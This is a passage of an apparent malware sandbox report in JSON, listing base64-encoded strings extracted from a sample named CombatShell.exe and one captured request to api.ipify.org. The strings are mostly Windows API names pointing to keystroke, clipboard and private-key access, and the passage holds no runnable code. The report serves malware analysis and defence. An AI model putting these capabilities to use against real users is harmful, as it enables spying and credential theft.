Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29Jbml0aWFsaXplRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tK0VuYWJsZWQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tYmF0U2hlbGw=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFueU5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZVN0cmluZ0V4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29tcGFyZVN0cmluZ09yZGluYWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29ubmVjdE5hbWVkUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29weUZpbGVFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29weXJpZ2h0IDIwMTMgR29vZ2xlIEluYy4gQWxsIFJpZ2h0cyBSZXNlcnZlZC5Ob3RvIEVtb2ppUmVndWxhck1vbm90eXBlIEltYWdpbmcgLSBOb3RvIEVtb2ppVmVyc2lvbiAxLjA1IHVoTm90b0Vtb2ppTm90byBpcyBhIHRyYWRlbWFyayBvZiBHb29nbGUgSW5jLk1vbm90eXBlIEltYWdpbmcgSW5jLk1vbm90eXBlIERlc2lnbiBUZWFtRGF0YSB1bmhpbnRlZC4gRGVzaWduZWQgYnkgTW9ub3R5cGUgZGVzaWduIHRlYW0uaHR0cDovL3d3dy5nb29nbGUuY29tL2dldC9ub3RvL2h0dHA6Ly93d3cubW9ub3R5cGUuY29tL3N0dWRpb1RoaXMgRm9udCBTb2Z0d2FyZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgU0lMIE9wZW4gRm9udCBMaWNlbnNlLCBWZXJzaW9uIDEuMS4gVGhpcyBGb250IFNvZnR3YXJlIGlzIGRpc3RyaWJ1dGVkIG9uIGFuICJBUyBJUyIgQkFTSVMsIFdJVEhPVVQgV0FSUkFOVElFUyBPUiBDT05ESVRJT05TIE9GIEFOWSBLSU5ELCBlaXRoZXIgZXhwcmVzcyBvciBpbXBsaWVkLiBTZWUgdGhlIFNJTCBPcGVuIEZvbnQgTGljZW5zZSBmb3IgdGhlIHNwZWNpZmljIGxhbmd1YWdlLCBwZXJtaXNzaW9ucyBhbmQgbGltaXRhdGlvbnMgZ292ZXJuaW5nIHlvdXIgdXNlIG9mIHRoaXMgRm9udCBTb2Z0d2FyZS5odHRwOi8vc2NyaXB0cy5zaWwub3JnL09GTA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29VbmluaXRpYWxpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q291bnRDbGlwYm9hcmRGb3JtYXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRXZlbnRX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZU1hcHBpbmdB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlRmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSGFyZExpbmtX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSWNvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSWNvbkZyb21SZXNvdXJjZUV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlSW9Db21wbGV0aW9uUG9ydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlTXV0ZXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlTmFtZWRQaXBlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlUHJvY2Vzc1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlU3ltYm9saWNMaW5rVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVGhyZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlV2FpdGFibGVUaW1lckV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3JlYXRlV2luZG93RXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRCaW5hcnlUb1N0cmluZ0E=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHREZXN0cm95S2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRJbXBvcnRLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q3J5cHRTdHJpbmdUb0JpbmFyeUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZDBmMWE1YzYtZmM0My00OGFlLTk5YmYtZWZiMWMzOGJlOWQx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0Q29udGV4dFNjaGVkdWxpbmdQcmlvcml0eQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0RGV2aWNlU3RhdGU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0RGlzcGxheU1vZGVMaXN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0TXVsdGlzYW1wbGVNZXRob2RMaXN0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0UHJvY2Vzc1NjaGVkdWxpbmdQcmlvcml0eUNsYXNz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0U2NhbkxpbmU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UR2V0U2hhcmVkUHJpbWFyeUhhbmRsZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUXVlcnlBZGFwdGVySW5mbw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUXVlcnlSZXNvdXJjZUluZm8=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UUmVsZWFzZVByb2Nlc3NWaWRQblNvdXJjZU93bmVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RDNES01UU2V0UHJvY2Vzc1NjaGVkdWxpbmdQcmlvcml0eUNsYXNz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmV2luZG93UHJvY1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlQ3JpdGljYWxTZWN0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlRmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVzY3JpYmVQaXhlbEZvcm1hdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVzdHJveUljb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGVzdHJveVdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGV2aWNlSW9Db250cm9s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUF1dG9GbHVzaFByb2Nlc3NOYW1lTGlzdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVVuc3VwcG9ydGVkQ3JpdGljYWxFeHRlbnNpb25z","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzY29ubmVjdE5hbWVkUGlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGF0Y2hNZXNzYWdlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZHJpdmVyYWxwaGFfNTQ5LmV4ZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RHJpdmVyVmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2RGVzY3JpYmVMYXllclBsYW5l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2RGVzY3JpYmVQaXhlbEZvcm1hdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2R2V0TGF5ZXJQYWxldHRlRW50cmllcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJ2VmFsaWRhdGVWZXJzaW9u","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHVwbGljYXRlSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZWJhZGY3NzUtNDhhYS00YmYzLThmOGUtZWM2OGQxMTNjOThl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW1wdHlDbGlwYm9hcmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlTWVudUl0ZW0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlUGVyUHJvY2Vzc1N5c3RlbURQSQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW50ZXJDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RXhpdFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZXh0ZW5zaW9uOkdMX0VYVF9mcmFtZWJ1ZmZlcl9tdWx0aXNhbXBsZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjA1NTg0MzgtZjU2YS01OTg3LTQ3ZGEtMDQwY2E3NWFlZjA1","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjI1YmNkMmUtMjY5MC01NWRjLTNiYzQtMDdiNjViMWI0MWM5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZjNhNzFhNGItNjExOC00MjU3LThjY2ItMzlhMzNiYTA1OWQ0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZENsb3Nl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZEZpcnN0RmlsZUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmluZE5leHRGaWxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RmxzR2V0VmFsdWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rmx1c2hGaWxlQnVmZmVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Rmx1c2hQcm9jZXNzV3JpdGVCdWZmZXJz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rm9ybWF0TWVzc2FnZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZnJlZWFkZHJpbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUVudmlyb25tZW50U3RyaW5nc1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUxpYnJhcnk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ZyEhIWchISEhISEhISEhISEhISEhISFnZ2chISEhISEhISEhISEhISEhISEhISEhISFnISEhISEhISEhZyFnZyEhISEhISFnZ2chZ2dnZyEhISEhIWchZyEhISEhISEhZ2dnZ2dnISEhISEhISEhIWdnISEhZ2dnZ2dnZ2dnZ2cmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R0VUIC8gSFRUUC8xLjFhY2NlcHQ6ICovKmhvc3Q6IGFwaS5pcGlmeS5vcmc=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"R2V0QWN0aXZlV2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0YWRkcmluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0QXN5bmNLZXlTdGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xhc3NJbmZvRXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xhc3NOYW1lVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpZW50UmVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcGJvYXJkRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcGJvYXJkRm9ybWF0TmFtZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q2xpcEN1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tbWFuZExpbmVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29tcHV0ZXJOYW1lRXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZU91dHB1dENQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudERpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFBhY2thZ2VJZA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3NJZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFByb2Nlc3Nvck51bWJlcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3VycmVudFRocmVhZElk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Q3Vyc29yUG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0REM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGV2aWNlQ2Fwcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RElCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlza0ZyZWVTcGFjZUE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RGlza0ZyZWVTcGFjZVc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RHBpRm9yTW9uaXRvcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RHBpRm9yV2luZG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW52aXJvbm1lbnRTdHJpbmdzVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RW52aXJvbm1lbnRWYXJpYWJsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RXJyb3JJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RXhpdENvZGVQcm9jZXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNFeFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUF0dHJpYnV0ZXNX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVNpemU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmlsZVR5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RmluYWxQYXRoTmFtZUJ5SGFuZGxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0Rm9yZWdyb3VuZFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0RnVsbFBhdGhOYW1lQQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0RnVsbFBhdGhOYW1lVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5Ym9hcmRMYXlvdXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5Ym9hcmRTdGF0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0S2V5U3RhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TG9jYWxlSW5mb0V4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0TWVudQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TWVzc2FnZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlRmlsZU5hbWVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlQQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlRXhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9kdWxlSGFuZGxlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TW9uaXRvckluZm9X","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TmFtZWRQaXBlSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0TmF0aXZlU3lzdGVtSW5mbw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0T2JqZWN0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0T3ZlcmxhcHBlZFJlc3VsdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0cGVlcm5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc0hlYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvY2Vzc0lk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UHJvcFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UXVldWVkQ29tcGxldGlvblN0YXR1c0V4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UmF3SW5wdXREYXRh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0UmF3SW5wdXREZXZpY2VJbmZvVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0c29ja25hbWU=","type":"Ansi","source":"Memory/File 